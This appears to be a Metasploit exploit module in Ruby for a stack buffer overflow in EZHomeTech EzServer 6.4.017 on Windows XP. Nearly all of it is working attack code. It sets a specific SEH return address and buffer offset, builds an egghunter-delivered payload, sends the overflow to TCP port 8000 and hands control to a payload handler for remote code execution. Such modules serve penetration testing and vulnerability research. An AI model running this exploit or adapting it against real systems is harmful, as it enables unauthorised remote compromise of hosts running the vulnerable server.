EZHomeTech EzServer 6.4.017 Stack Buffer Overflow

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::Tcp  
include Msf::Exploit::Remote::Egghunter  
include Msf::Exploit::Remote::Seh  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'EZHomeTech EzServer <= 6.4.017 Stack Buffer Overflow Vulnerability',  
'Description' => %q{  
This module exploits a stack buffer overflow in the EZHomeTech EZServer. If a malicious  
user sends packets containing an overly long string, it may be possible to execute a  
payload remotely. Due to size constraints, this module uses the Egghunter technique.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'modpr0be<modpr0be[at]spentera.com>' # Original discovery and Metasploit module  
],  
'References' =>  
[  
[ 'EDB', '19266' ],  
[ 'URL', 'http://www.spentera.com/2012/06/ezhometech-ezserver-6-4-017-stack-overflow-vulnerability/' ]  
],  
'DefaultOptions' =>  
{  
'ExitFunction' => 'seh'  
},  
'Platform' => 'win',  
'Payload' =>  
{  
'BadChars' => "\x00\x0a\x0d\x20\x2e\x2f\x3a",  
'DisableNops' => true  
},  
'Targets' =>  
[  
[ 'EzHomeTech EzServer <= 6.4.017 (Windows XP Universal)',  
{  
'Ret' => 0x10212779, # pop ecx # pop ebx # ret 4 - msvcrtd.dll  
'Offset' => 5852  
}  
],  
],  
'Privileged' => false,  
'DisclosureDate' => 'Jun 18 2012',  
'DefaultTarget' => 0))  
  
register_options([Opt::RPORT(8000)], self.class)  
  
end  
  
def exploit  
connect  
eggoptions =  
{  
:checksum => true,  
:eggtag => "w00t"  
}  
  
hunter = generate_egghunter(payload.encoded,payload_badchars,eggoptions)  
egg = hunter[1]  
buff = rand_text(target['Offset'] - egg.length) #junk  
buff << egg  
buff << make_nops(32)  
buff << generate_seh_record(target.ret)  
buff << make_nops(16)  
buff << hunter[0]  
buff << rand_text_alpha_upper(500)  
  
print_status("Triggering shellcode now...")  
print_status("Please be patient, the egghunter may take a while..")  
  
sock.put(buff)  
  
handler  
disconnect  
  
end  
end  
`